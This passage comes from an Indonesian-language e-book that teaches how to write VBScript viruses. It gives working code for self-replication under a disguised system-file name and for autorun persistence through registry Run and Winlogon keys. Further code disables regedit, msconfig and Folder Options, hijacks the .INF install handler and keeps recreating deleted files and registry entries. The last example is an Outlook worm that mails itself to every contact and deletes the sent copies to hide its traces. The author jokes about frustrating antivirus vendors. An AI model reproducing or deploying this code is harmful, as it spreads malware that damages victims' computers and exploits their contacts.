Baris perintah ini akan menghasilkan alamat path folder “Favorites” dari user
yang sedang aktif (Current User).
• Target = FolderLain.SpecialFolders("AppData") Perintah ini akan menghasilkan alamat path folder “Application Data” dari user
yang sedang aktif (Current User).
23
• Target = FolderLain.SpecialFolders("Recent")
Baris perintah ini akan menghasilkan alamat path folder “Recent” dari user
yang sedang aktif (Current User).
• Target = WScript.ScriptFullName
Jika perintah pada baris-baris sebelumnya akan menghasilkan alamat folder-
folder system, namun pada baris ini akan menghasilkan alamat folder tempat
script tersebut dijalankan lengkap beserta nama file-nya. Sebagai contoh,
penulis menyimpan script ini pada folder “D:\Publish\E-Book\Virus” dengan
nama file “ScriptSpecialFolder.vbs”, maka jika dijalankan variabel “Target”
akan berisi “D:\Publish\E-Book\Virus\ScriptSpecialFolder.vbs”.
3.4 Anti Error
Dalam membuat virus wajib hukumnya untuk menghindari error atau runtime-error
yang terjadi saat virus berjalan. Karena jika terjadi error maka interpreter akan
memunculkan dialogbox runtime-error dan virus akan berhenti berjalan. Hal
tersebut tentunya tidak bagus untuk kesehatan virus kita dan dapat menimbulkan
kecurigaan user saat dialogbox runtime-error tampil.
Gambar 3.3: DialogBox Runtime Error
Untuk mengatasi permasalahan tersebut anda dapat menggunakan perintah “On
Error Resume Next” yang berfungsi untuk mengabaikan error jika ada error yang
terjadi dan melanjutkan eksekusi ke perintah selanjutnya. Perintah tersebut
diletakan paling atas pada script, berikut contoh penggunaannya jika digabungkan
dengan script sebelumnya :
24
Dim Target
Dim FSO
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
'Windows Folder :
Target = FSO.GetSpecialFolder(0)
'Windows System Folder :
Target = FSO.GetSpecialFolder(1)
'Windows Temp Folder :
Target = FSO.GetSpecialFolder(2)
Perhatikan baris script yang berwarna merah dan tercetak tebal, disitulah perintah
“On Error Resume Next” diletakan. Dengan demikian script virus anda akan
terbebas dari runtime-error dan akan terus berjalan sampai akhir script.
3.5 Penggandaan Diri
Metode penggandaan diri ini sudah menjadi “pakem” dalam dunia per-virus-an.
Hampir (atau dapat dikatan semua) virus yang beredar menggunakan metode ini
untuk menyimpan copy dirinya ke komputer host / target dan biasanya dengan nama
file yang disamarkan sehingga user akan mengira file virus tersebut adalah bagian
dari sistem operasi.
File copy virus tersebutlah yang akan aktif dan terus bekerja setiap kali komputer
dihidupkan dengan cara membuat fasilitas AutoRun pada sistem Windows. Fasilitas
AutoRun ini akan dibahas pada bagian berikutnya.
Pada metode penggandaan diri ini biasanya virus membuat copy dirinya sendiri
pada folder sistem seperti folder Windows dan Windows\system. Berikut akan
diberikan contoh script-nya :
25
Dim FSO
Dim BodyVirus
Dim IsiVirus
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
'Buka dan Baca Dirinya Sendiri
Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName)
'Simpan Dalam Variabel IsiVirus
IsiVirus = BodyVirus.ReadAll
BodyVirus.Close
'Copy Dirinya Sendiri Ke Folder Windows
Set BodyVirus = FSO.CreateTextFile(FSO.GetSpecialFolder(0) &
"\mskernel32.dll.vbs")
BodyVirus.Write IsiVirus
BodyVirus.Close
Pada contoh script diatas, program akan mencoba untuk meng-copy dirinya sendiri
ke folder Windows (defaultnya adalah “C:\Windows”) dengan nama file
“mskernel32.dll.vbs”. Untuk lebih jelasnya berikut akan diberikan keterangan dari
tiap-tiap baris script tersebut :
• Dim FSO
Baris ini merupakan perintah untuk mendeklarasikan variabel bernama “FSO”.
• Dim BodyVirus Sama seperti baris sebelumnya yaitu merupakan perintah untuk
mendeklarasikan variabel bernama “BodyVirus”.
• Dim IsiVirus
Baris ini juga merupakan perintah untuk mendeklarasikan variabel dengan nama
“IsiVirus”.
26
• On Error Resume Next
Seperti telah dijelaskan pada sub-bab sebelumnya (3.4 Anti Error), perintah ini
berfungsi untuk mengabaikan error jika ada error yang terjadi selama runtime,
dan jika ada error yang terjadi interpreter secara otomatis akan melanjutkan
eksekusi script pada baris berikutnya.
• Set FSO = CreateObject("Scripting.FileSystemObject")
Baris ini berisi perintah untuk mengeset variabel “FSO” sebagai objek
“Scripting.FileSystemObject”.
• Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName) Baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai objek file dan
sekaligus melakukan pembukaan / pembacaan file (FSO.OpenTextFile).
Adapun file yang dibuka / dibaca adalah file dirinya sendiri
(WScript.ScriptFullName), dengan kata lain script tersebut akan membuka
dan membaca dirinya sendiri (WScript.ScriptFullName).
WScript.ScriptFullName akan memberikan nilai kembalian (Return Value)
berupa alamat path beserta nama file script yang dijalankan tersebut. Jika
kurang jelas baca lagi sub-bab 3.3 Mendapatkan Special Folder.
• IsiVirus = BodyVirus.ReadAll
Perintah pada baris ini berfungsi untuk mengisi variabel “IsiVirus” dengan isi
dirinya sendiri yang pada baris sebelumnya telah dibuka. Perintah
“BodyVirus.ReadAll” berfungsi untuk membaca keseluruhan isi file yang
dalam contoh ini adalah file dirinya sendiri.
• BodyVirus.Close Baris ini berfungsi untuk menutup file yang sebelumnya telah dibuka dan
dibaca.
• Set BodyVirus = FSO.CreateTextFile(FSO.GetSpecialFolder(0) &
"\mskernel32.dll.vbs") Baris ini harus ditulis dalam satu baris. Maksud dari perintah ini adalah
mengeset variabel “BodyVirus” sebagai objek file dan sekaligus membuat
sebuah file baru yang ditandai dengan perintah FSO.CreateTextFile.
27
sedangkan perintah FSO.GetSpecialFolder(0) akan menghasilkan alamat path
folder Windows (C:\Windows). Jadi file akan dibuat pada folder Windows
dengan nama file “mskernel32.dll.vbs” yang ditandai dengan string
“\mskernel32.dll.vbs”.
• BodyVirus.Write IsiVirus Perintah pada baris ini berfungsi untuk menulis file yang dibuat tersebut
(“mskernel32.dll.vbs”) dengan isi dari variabel “IsiVirus” yang mana variabel
“IsiVirus” tersebut berisikan script ini sendiri (dirinya sendiri) yang mana
variabel “IsiVirus” tersebut telah diisikan pada perintah “IsiVirus =
BodyVirus.ReadAll” pada perintah sebelumnya.
• BodyVirus.Close
Baris ini berfungsi untuk menutup file yang sebelumnya dibuka dan ditulis
menggunakan perintah “Set BodyVirus =
FSO.CreateTextFile(FSO.GetSpecialFolder(0) & “\mskernal32.dll.vbs”)”.
Setelah anda melihat script tersebut diatas, anda mungkin bertanya-tanya mengapa
script programnya terlalu berbelit? Bukankah proses tersebut hampir sama atau
mirip dengan proses copy? Mengapa tidak menggunakan fungsi copy saja agar
script programnya lebih ringkas? Mengapa, mengapa dan mengapa? Tanya kenapa?
Pertanyaan tersebut ada benarnya, proses tersebut bisa dikatakan sama dengan
proses copy biasa. Lalu mengapa yang saya berikan adalah cara yang begitu
berbelit? Hal tersebut dilakukan karena pada bab berikutnya kita akan membahas
teknik anti-deletion (anti penghapusan) yang mana script tersebut diatas merupakan
salah satu bagian dari teknik anti-deletion tersebut.
Dengan menggunakan cara seperti tersebut diatas, sangat dimungkinkan program
meng-copy-kan dirinya sendiri atau bahkan membuat atau membangun ulang
dirinya sendiri WALAUPUN FILE PROGRAMNYA SUDAH DIHAPUS. Hal
tersebut dimungkinkan karena program tersebut membaca dirinya sendiri dan
menyimpannya di memory. Keren banget kan ☺.
28
Dan juga, jika anda menggunakan fungsi copy lalu ternyata file sumber sudah
terhapus atau dihapus maka program akan menghasilkan runtime-error yang
mengakibatkan gagalnya peng-copy-an file dan dengan demikian proses
penggandaan diri pun ikut gagal. Namun jika anda tetap ingin melakukan metode
penggandaan diri menggunakan fungsi copy berikut adalah contoh script-nya :
'Penggandaan Diri Menggunakan Fungsi Copy :
Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.CopyFile WScript.ScriptFullName, FSO.GetSpecialFolder(0) &
"\mskernel32.dll.vbs", True
Dimana penjelasan script-nya adalah sebagai berikut, proses copy dilakukan pada
baris keempat dengan memanggil fungsi copy “FSO.CopyFile” dan sintaks yang
digunakan adalah “FSO.CopyFile (FileSumber, FileTujuan, [OverWrite])”
dimana “FileSumber” merupakan alamat path file asal yang mau di-copy dan
“FileTujuan” adalah alamat path tujuan file sedangkan “OverWrite” merupakan
tidakan yang harus dilakukan jika file tujuan ternyata sudah ada, nilainya adalah
TRUE atau FALSE. Jika “OverWrite” diataur TRUE maka overwrite akan
dilakukan jika file tujuan telah ada namun jika diatur FALSE overwrite tidak akan
dilakukan jika file tujuan sudah ada.
Gambar 3.4: File BackUp Virus (“mskernel32.dll.vbs”) Hasil Penggandaan Diri
29
3.6 Fasilitas AutoRun
Yang dimaksud AutoRun disini adalah kemampuan sebuah program untuk dapat
berjalan secara otomatis saat Windows start-up. Kebanyakan program-program
virus dan antivirus menggunakan fasilitas ini sehingga dapat secara otomatis
berjalan ketika Windows start-up.
Fasilitas ini disediakan oleh sistem operasi Microsoft Windows melalui beberapa
cara yang diantaranya adalah :
1. [Registry HKEY_CURRENT_USER]
Key : Software\Microsoft\Windows\CurrentVersion\Run
Value : [Bebas]
Value Data : [[wscript.exe] [Alamat Path ke Program] [%]]
Contoh : wscript.exe C:\Windows\Virus.vbs %
Value Type : String
Info : AutoRun terpengaruh user yang login.
2. [Registry HKEY_CURRENT_USER]
Key : Software\Microsoft\Windows\CurrentVersion\RunOnce
Value : [Bebas]
Value Data : [[wscript.exe] [Alamat Path ke Program] [%]]
Contoh : wscript.exe C:\Windows\Virus.vbs %
Value Type : String
Info : AutoRun pertama kali terpengaruh user yang login.
3. [Registry HKEY_LOCAL_MACHINE]
Key : Software\Microsoft\Windows\CurrentVersion\Run
Value : [Bebas]
Value Data : [[wscript.exe] [Alamat Path ke Program] [%]]
Contoh : wscript.exe C:\Windows\Virus.vbs %
Value Type : String
Info : AutoRun tanpa terpengaruh user yang login.
30
4. [Registry HKEY_LOCAL_MACHINE]
Key : Software\Microsoft\Windows\CurrentVersion\RunOnce
Value : [Bebas]
Value Data : [[wscript.exe] [Alamat Path ke Program] [%]]
Contoh : wscript.exe C:\Windows\Virus.vbs %
Value Type : String
Info : AutoRun pertama kali tanpa terpengaruh user yang login.
5. [Registry HKEY_LOCAL_MACHINE]
Key : Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Value : Shell
Value Data : Explorer.exe “[[wscript.exe] [Alamat Path ke Program] [%]]”
Contoh : Explorer.exe “wscript.exe C:\Windows\Virus.vbs %”
Value Type : String
Info : Tetap akan dijalankan walaupun saat SAFE MODE.
6. [StartUp Folder]
Path : %StartMenuPath%\Programs\Startup
Info : Buat Shortcut ke program atau copy file program.
Dari beberapa daftar fasilitas AutoRun tersebut yang paling penulis rekomendasikan
adalah dengan menggunakan daftar nomor tiga dan nomor lima
(HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
dan HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon). Sedangkan cara untuk penulisan sama seperti yang
telah dijelaskan pada sub-bab 3.2 (Baca Tulis Registry Windows). Berikut akan
diberikan contoh script untuk membuat fasilitas AutoRun pada registry Windows :
Dim ObjReg
Set ObjReg = CreateObject("WScript.Shell")
'Buat AutoRun di Registry HKLM :
31
ObjReg.RegWrite
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\mskernel32",
"wscript.exe " & WScript.ScriptFullName & " %"
Pada contoh tersebut akan membuat sebuah fasilitas AutoRun di registry pada key
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
dengan nama value “mskernel32” dan value data berisi “wscript.exe [alamat path
program] %”. Nama value menggunakan nama “mskernel32” tak lain dan tak
bukan adalah untuk keperluan penyamaran agar user mengira value tersebut
merupakan buatan sistem Windows. Berikut adalah tampilan hasilnya di registry :
Gambar 3.5: Key AutoRun Virus di Registry
3.7 Do…Loop Bikin Virus Tetap Hidup
Jika anda membuat program menggunakan VBScript dan menjalankannya maka
ketika interpreter sampai pada baris script terakhir dan mengeksekusinya program
akan berhenti karena baris script yang akan dieksekusi sudah habis. Hal tersebut
sangat tidak baik dalam pemrograman virus. Mengapa? Karena dalam konsep
pemrograman virus, virus harus aktif begitu Windows aktif dan terus aktif selama
Windows aktif.
Jadi untuk mengatasi permasalahan tersebut dan agar virus tidak mati jika kode
script telah selesai dieksekusi oleh interperter dapat digunakan perulangan
32
(looping) Do…Loop. Perulangan Do…Loop tersebut dimaksudkan untuk membuat
interpreter sibuk dan terus mengulang tanpa menemui batas akhir script. Berikut
adalah contoh script-nya :
Do
'Kode Script yang Diulang...
Loop
Simpelkan akan tetapi perulangan tersebut nantinya akan berhubungan dengan
teknik-teknik pemrograman virus tingkat lanjut seperti teknik anti deletion, teknik
anti registry deletion, teknik infeksi dan lain sebagainya yang akan dijelaskan dalam
bab selanjutnya.
33
BAB 4
Pemrograman Virus Tingkat Lanjut
Pada bab sebelumnya kita telah membahas mengenai dasar pemrograman virus yang
membahas mengenai perintah-perintah dasar yang sering digunakan dalam pemrograman
virus. Sedangkan pada bab ini kita akan membahas perintah-perintah dan teknik-teknik
yang lebih berat dibandingkan dengan perintah-printah yang terdapat pada bab
sebelumnya.
Ingat pembahasan kali ini lumayan berbahaya, penulis tidak bertanggung jawab atas
segala kerusakan yang terjadi, backup dulu semua konfigurasi sistem anda. Dan juga
penulis tidak peduli jika anda tidak mengerti dengan pembahasan ini ☺.
4.1 Disable Setting
Demi menjaga kelangsungan hidup virus yang kita buat pada komputer host, kita
harus menonaktifkan setting-setting yang dapat berpengaruh pada virus kita atau
dapat digunakan user untuk melumpuhkan virus kita. Untuk melakukannya
digunakan perintah tulis ke registry seperti yang telah dijelaskan pada bab
sebelumnya. Beberapa diantaranya adalah sebagai berikut :
• Menonaktifkan Registry Editor (Regedit.exe)
Menonaktifkan registry editor mungkin merupakan hal yang cukup penting dan
hampir semua virus (terutama virus lokal) melakukan hal ini. Dengan
melumpuhkan setting ini user menjadi tidak dapat mengakses registry editor
pada sistemnya sendiri. Berikut adalah contoh script-nya :
Dim ObjReg
Set ObjReg = CreateObject("WScript.Shell")
34
ObjReg.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Pol
icies\System\DisableRegistryTools", "1", "REG_DWORD"
ObjReg.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Po
licies\System\DisableRegistryTools", "1", "REG_DWORD"
Script tersebut akan menulis ke root key HKEY_CURRENT_USER dan
HKEY_LOCAL_MACHINE. Setelah script tersebut dijalankan seharusnya
registry editor sudah terkunci. Cobalah anda jalankan registry editor dan lihat
apa yang tampil, jika yang tampil pesan registry editor telah di-disable oleh
administrator berarti script yang anda tuliskan benar dan jika registry edit masih
muncul berarti terdapat kesalahan pada script anda.
Gambar 4.1: Registry Editor Telah Terkunci
• Menonaktifkan Microsoft System Configuration Utility (msconfig)
Berikutnya kita akan mencoba melumpuhkan msconfig dengan cara memasukan
alamat path fiktif pada App Paths di registry. Alamat path fiktif yang akan
dimasukan adalah “Z:\Alamat\Path\Fiktif\Bohong.exe” dan berikut adalah
contoh script-nya :
Dim ObjReg
Set ObjReg = CreateObject("WScript.Shell")
35
ObjReg.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ap
p Paths\MSCONFIG.EXE\", "Z:\Alamat\Path\Fiktif\Bohong.exe"
Simpan dan jalankan script tersebut lalu coba anda panggil msconfig melalui
fasilitas “Run” pada “Start Menu”. Jika yang tampil adalah pesan kesalahan
bahwa Windows tidak dapat menemukan msconfig berarti script yang anda
tuliskan sudah benar akan tetapi jika msconfig tetap tampil berarti ada kesalahan
dalam script anda.
Gambar 4.2: Msconfig Telah Dilumpuhkan
• Menonaktifkan Folder Options
Yang perlu dilumpuhkan selanjutnya adalah menu “Folder Options…” pada
Windows Explorer. Perhatikan gambar berikut saat menu tersebut belum
dilumpuhkan :
Gambar 4.3: Menu Folder Option Masih Aktif
36
Dan berikut adalah contoh script-nya untuk membuat menu “Folder
Options…” tersebut hilang dari daftar menu pada Windows Explorer :
Dim ObjReg
Set ObjReg = CreateObject("WScript.Shell")
ObjReg.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Pol
icies\Explorer\NoFolderOptions", "1", "REG_DWORD"
ObjReg.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Po
licies\Explorer\NoFolderOptions", "1", "REG_DWORD"
Setelah script tersebut dijalankan seharusnya menu “Folder Options…” akan
hilang, jika belum hilang coba restart komputer anda agar perubahan dijalankan.
Gambar 4.4: Menu Folder Options Sudah Hilang
37
• Menonaktifkan *.INF Install Menu
Menonaktifkan menu “Install” untuk file *.INF dapat dikatakan penting namun
juga tidak terlalu penting, nah lo bingungkan…??? Menjadi penting karena file
ini dapat digunakan untuk menghapus entri-entri virus yang kita buat pada
registry, seperti yang diterapkan oleh VAKSIN.COM (sebuah organisasi yang
selalu mengganggu kesenangan kita ☺), dan menjadi tidak penting karena kita
akan mempelajari teknik anti registry deletion yang dapat menghindari
penghapusan registry dengan cara tersebut. Berikut adalah script-nya :
Dim ObjReg
Set ObjReg = CreateObject("WScript.Shell")
ObjReg.RegWrite
"HKEY_CLASSES_ROOT\inffile\shell\Install\command\", "wscript.exe
" & WScript.ScriptFullName & " %"
Perhatikan, pada baris terakhir terdapat spasi diantara tulisan wscript.exe dan
tanda kutip (") dan juga terdapat spasi diantara tanda kutip (") dan tanda persen
(%). Jangan sampai salah menuliskannya, jika salah menu “Install” tetap akan
tidak berfungsi namun tidak sesuai dengan yang kita harapkan yaitu tidak akan
dapat menjalankan virus kita saat menu “Install” diklik oleh user.
Dengan demikian, setiap kali user melakukan klik kanan pada file *.INF dan
memilih menu “Install” maka bukannya setting pada file *.INF tersebut yang
terinstall namun malah virus kita yang akan dijalankan
4.2 Teknik Anti Deletion
Teknik ini digunakan untuk mengatasi penghapusan file virus oleh user. Dengan
menggunakan teknik ini, user yang belum berpengalaman (seperti teman saya yang
bernama Mario yang beralamat di Wisma Asri, Bekasi) akan mengalami kesulitan
untuk menghapus file virus. Pada dasarnya inti dari teknik ini sudah dibahas pada
38
bab 3 (3.5 “Penggandaan Diri” dan 3.7 “Do…Loop Bikin Virus Tetap Hidup”) dan
untuk menyempurnakannya kedua pembahasan tersebut digabungkan sehingga
menjadi sebuah teknik yang dalam pembahasan ini disebut dengan teknik anti
deletion. Ok, berikut adalah contoh script programnya :
Dim FSO
Dim BodyVirus
Dim IsiVirus
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
'Buka dan Baca Dirinya Sendiri
Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName)
'Simpan Dalam Variabel IsiVirus
IsiVirus = BodyVirus.ReadAll
BodyVirus.Close
Do
'Periksa Apakah File Masih Ada ?
If FSO.FileExists(WScript.ScriptFullName) = False Then
'File Sudah Dihapus, Buat Lagi
Set BodyVirus = FSO.CreateTextFile(WScript.ScriptFullName)
BodyVirus.Write IsiVirus
BodyVirus.Close
'Kasih Pesan
Msgbox "Maaf... Jangan Dihapus Dong...", VBExclamation,
"Perhatian"
End If
Loop
Simpan script tersebut dengan nama (misalnya) “anti-deletion.vbs” dan jalankan.
Setelah anda jalankan, coba anda hapus file tersebut dan apa yang terjadi. Ya,
proses penghapusan berjalan sebagai mana mestinya namun file tersebut akan
muncul lagi dan malah menampilkan sebuah pesan berupa messagebox.
39
Algoritmanya adalah sebagai berikut, ketika pertama kali script tersebut berjalan
script tersebut akan membuka dan membaca dirinya sendiri yang lalu disimpan
dalam sebuah variabel memory bernama “IsiVirus”. Setelah proses tersebut script
akan terus aktif (karena terkena perintah perulangan Do…Loop) dan terus
memeriksa apakah dirinya masih ada atau tidak. Jika dirinya sudah tidak ada,
misalnya dihapus, script tersebut akan mencoba untuk membuat file dirinya sendiri
lagi dengan nama dan tempat yang sama lalu memunculkan pesan messagebox.
Adapun pesan messagebox tersebut akan tampil seperti pada gambar berikut :
Gambar 4.5: Messagebox yang Tampil Saat File Script Dihapus
Berikut akan diberikan penjelasan jalannya proses script baris-per-baris :
• Dim FSO
Baris ini merupakan deklarasi variabel bernama “FSO”.
• Dim BodyVirus Script pada baris ini juga merupakan sebuah deklarasi variabel, variabel yang
dideklarasikan bernama “BodyVirus”.
• Dim IsiVirus
Sama seperti pada dua baris sebelumnya hanya saja variabel yang
dideklarasikan bernama “IsiVirus”.
• On Error Resume Next Script pada baris ini berfungsi untuk mengabaikan error yang terjadi atau yang
akan terjadi. Maksudnya jika terjadi error setelah perintah tersebut maka error
akan diabaikan dan proses akan terus dilanjutkan pada script dibaris selanjutnya.
40
• Set FSO = CreateObject("Scripting.FileSystemObject")
Baris ini berfungsi untuk mengeset variabel “FSO” sebagai objek
“Scripting.FileSystemObject”.
• Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName)
Perintah pada baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai
objek “FSO.OpenTextFile” dan sekaligus membuka dirinya sendiri.
• IsiVirus = BodyVirus.ReadAll Baris ini berfungsi untuk mengisi variabel “IsiVirus” dengan dirinya sendiri
yang tadi telah dibuka pada baris sebelumnya. Dengan demikian seluruh script
pada file ini tersimpan pada memory yang diwakili oleh variabel “IsiVirus”.
• BodyVirus.Close
Script pada baris ini berfungsi untuk menutup file (file dirinya sendiri) yang tadi
telah dibuka pada dua baris sebelumnya.
• Do Perintah ini merupakan blok pembuka dari sebuah perulangan Do…Loop.
• If FSO.FileExists(WScript.ScriptFullName) = False Then
Script pada baris ini merupakan awal dari blok IF…End IF yang memiliki
pengkondisian untuk memeriksa apakah file dirinya sendiri masih ada atau
sudah tidak ada. Jika sudah tidak ada maka script yang berada didalam blok
IF…End IF akan dijalankan namun jika masih ada script yang berada didalam
blok IF…End IF tidak akan dijalankan.
• Set BodyVirus = FSO.CreateTextFile(WScript.ScriptFullName) Baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai objek
“FSO.CreateTextFile” yang berguna untuk membuat sebuah file text dan file
yang dibuat adalah dirinya sendiri.
• BodyVirus.Write IsiVirus
Script pada baris ini berfungsi untuk menulis file (yang telah dibuat pada script
baris sebelumnya) dengan isi variabel “IsiVirus” yang mana isi dari variabel
tersebut adalah script dirinya sendiri.
41
• BodyVirus.Close
Script ini berfungsi untuk menutup file yang telah dibuka dan ditulis pada dua
baris script sebelumnya.
• Msgbox "Maaf... Jangan Dihapus Dong...", VBExclamation,
"Perhatian" Perintah script tersebut berfungsi untuk menampilkan messagebox yang
memiliki tulisan “Maaf… Jangan Dihapus Dong…” yang memiliki icon tanda
seru (!) dan memiliki titlebar dengan tulisan “Perhatian”.
• End If
Baris script ini merupakan penutup dari blok IF…End IF.
• Loop Baris ini merupakan penutup dari blok perulangan Do…Loop.
4.3 Teknik Anti Registry Deletion
Teknik ini secara teknis hampir sama atau mirip dengan teknik anti deletion yang
telah dibahas pada sub-bab sebelumnya, hanya saja teknik ini digunakan untuk
mengatasi penghapusan entri-entri registry yang dibuat oleh script (dalam hal ini
virus). Dengan menggunakan teknik ini bukan berarti entri-entri buatan pada
registry tidak dapat dihapus hanya saja akan sedikit lebih sulit dan bahkan bikin
pusing bagi user yang belum berpengalaman (juga seperti teman saya Mario yang
tinggal di Wisma Asri, Bekasi).
Pada dasarnya inti dari teknik ini juga sudah dibahas pada bab 3 (3.2 “Baca Tulis
Registry Window” dan 3.7 “Do…Loop Bikin Virus Tetap Hidup”) dan untuk
membangun teknik ini anda tinggal menggabungkan kedua pembahasan dalam bab
3 tersebut. Berikut adalah contoh script programnya :
Dim ObjReg
On Error Resume Next
Set ObjReg = CreateObject("WScript.Shell")
42
'Tulis ke Registry
ObjReg.RegWrite "HKLM\Software\VBS.Tweety\Programmer", "Wahyu"
Do
'Tulis Lagi ke Registry
ObjReg.RegWrite "HKLM\Software\VBS.Tweety\Programmer", "Wahyu"
Loop
Ketika script tersebut dijalankan, program akan menulis entri ke registry dan akan
menulis lagi dan menulis lagi entri yang sama ke registry melalui blok perulangan
Do…Loop. Dengan demikian jika ada user yang menghapus entri tersebut secara
otomatis entri tersebut akan tertulis lagi tanpa sepengetahuan user tersebut.
4.4 Menyebar Melalui E-Mail
Sebenarnya teknik menyebar melalui e-mail ini merupakan salah satu teknik yang
keren pada saat-saat awal kemunculan virus yang ditulis menggunakan bahasa
VBScript. Namun sayangnya saat ini tingkat security pada produk-produk microsoft
telah di perketat dan hampir semua antivirus akan memblokir akses yang
memungkinkan program-program berbahaya seperti virus menyebarkan dirinya
dengan memanfaatkan e-mail client Outlook dan fungsi MAPI.
Mengacu pada penjelasan diatas, jangan terlalu berharap dari teknik menyebarkan
diri melalui e-mail ini. Disini kita hanya akan mempelajari caranya saja agar
mengerti bagaimana cara kerjanya dan supaya tidak “norak” sama teknik yang udah
“basi” ini ☺. Berikut adalah contoh script menyebar menggunakan e-mail :
InfeksiEmail
Function InfeksiEmail()
Set ObjEmail = CreateObject("Outlook.Application")
If ObjEmail = "Outlook" Then
Set ObjMapi = ObjEmail.GetNameSpace("MAPI")
Set DaftarAlamat = ObjMapi.AddressLists
43
For Each Alamat In DaftarAlamat
If Alamat.AddressEntries.Count <> 0 Then
JmlAlamat = Alamat.AddressEntries.Count
For i = 1 To JmlAlamat
Set ObjEmailItem = ObjEmail.CreateItem(0)
Set AlamatEmail = Alamat.AddressEntries(i)
ObjEmailItem.To = AlamatEmail.Address
ObjEmailItem.Subject = "INI SUBJECT"
ObjEmailItem.Body = "INI BODY E-MAIL"
Set AttachmentItem = ObjEmailItem.Attachments
ObjEmailItem.DeleteAfterSubmit = True
AttachmentItem.Add WScript.ScriptFullName
If ObjEmailItem.To <> "" Then
ObjEmailItem.Send
End If
Next
End If
Next
End If
End function
Teknik menyebar melalui e-mail tersebut pada script diatas diletakan dalam sebuah
fungsi (function) yang bernama “InfeksiEmail” yang dimulai dengan perintah
“Function InfeksiEmail()” dan diakhiri dengan perintah “End Function”. Dimana
fungsi tersebut dipanggil dan dijalankan pada baris pertama script yaitu
“InfeksiEmail”.
Dari script tersebut dapat diketahui bahwa untuk menyebarkan diri melalui e-mail
dilakukan dengan memanfaatkan aplikasi e-mail client Microsoft Outlook dan
44
menyebar keseluruh alamat e-mail yang terdapat pada daftar kontak Outlook. Dan
berikut adalah penjelasan script baris-per-baris :
• InfeksiEmail Baris ini merupakan script pemanggil fungsi “Function InfeksiEmail()”. Jadi
maksudnya fungsi “Function InfeksiEmail()” tersebut akan dieksekusi dan
dijalankan pada beris tersebut.
• Function InfeksiEmail()
Merupakan blok pembuka fungsi (function) yang mana fungsinya bernama
“InfeksiEmail”.
• Set ObjEmail = CreateObject("Outlook.Application") Baris ini mengeset variabel “ObjEmail” sebagai objek aplikasi Outlook. Bisa
dikatakan aplikasi Microsoft Outlook diwakilkan sebagai variabel “ObjEmail”
pada script ini.
• If ObjEmail = "Outlook" Then
Baris ini merupakan blok pembuka kondisi IF…End IF yang memeriksa isi
dari variabel “ObjEmail” dimana jika variabel “ObjEmail” tersebut berisi
“Outlook” maka script didalam blok IF…End IF tersebut akan dijalankan.
• Set ObjMapi = ObjEmail.GetNameSpace("MAPI") Baris ini mengeset variabel “ObjMapi” sebagai objek MAPI, dimana hampir
setiap e-mail client berbasis Windows menggunakan objek MAPI tersebut.
• Set DaftarAlamat = ObjMapi.AddressLists
Pada baris ini variabel “DaftarAlamat” diset sebagai daftar alamat objek MAPI
pada aplikasi Outlook.
• For Each Alamat In DaftarAlamat Disini script akan melakukan perulangan untuk mendapatkan setiap alamat e-
mail yang terkandung didalam variabel “DaftarAlamat”.
• If Alamat.AddressEntries.Count <> 0 Then
Blok IF pada baris ini akan melakukan pemeriksaan apakah jumlah alamat tidak
sama dengan nol (0). Jika tidak sama dengan nol (0) maka eksekusi perintah
yang berada didalam blok IF…END IF tersebut.
45
• JmlAlamat = Alamat.AddressEntries.Count
Mendapatkan jumlah alamat yang hasilnya ditampung pada variabel
“JmlAlamat”.
• For i = 1 To JmlAlamat
Baris ini merupakan awal blok perulangan FOR…NEXT yang akan melakukan
perulangan dari nilai satu (1) sampai sebanyak jumlah alamat yang nilainya
dikandung dalam variabel “JmlAlamat”.
• Set ObjEmailItem = ObjEmail.CreateItem(0) Baris ini berfungsi untuk mengeset variabel “ObjEmailItem” sebagai objek
email yang berfungsi untuk membuat item email baru.
• Set AlamatEmail = Alamat.AddressEntries(i)
Baris ini mengeset variabel “AlamatEmail” sebagai alamat email ke “i” yang
mana “i” merupakan nilai dari perulangan FOR…NEXT dari satu (1) sampai
dengan jumlah alamat email yang terkandung dalam variabel “JmlAlamat”.
• ObjEmailItem.To = AlamatEmail.Address Perintah pada baris ini akan mengisi alamat email tujuan (To) yang diwakilkan
dengan objek email “ObjEmailItem.To” dari daftar alamat email yang didapat
dari variabel “AlamatEmail.Address”.
• ObjEmailItem.Subject = "INI SUBJECT"
Baris ini akan mengisikan subject email ke objek email
“ObjEmailItem.Subject”. Dimana isi subject-nya adalah “INI SUBJECT”,
anda dapat menggantinya sesuai keinginan anda.
• ObjEmailItem.Body = "INI BODY E-MAIL" Sama seperti baris sebelumnya hanya saja disini kita mengeset body / pesan
dalam email, dimana isinya adalah “INI BODY E-MAIL” dan anda dapat
menggantinya sesuai dengan keinginan anda.
• Set AttachmentItem = ObjEmailItem.Attachments
Baris ini mengeset variabel “AttachmentItem” sebagai objek
“ObjEmailItem.Attachments” yang nantinya berfungsi untuk mewakili objek
attachment pada email.
46
• ObjEmailItem.DeleteAfterSubmit = True
Baris ini berfungsi untuk mengeset setting Outlook untuk secara otomatis
menghapus email yang sudah terkirim, maksudnya untuk menghilangkan jejak
virus yang berusaha mengirimkan email pada setiap daftar kontak di Outlook.
• AttachmentItem.Add WScript.ScriptFullName
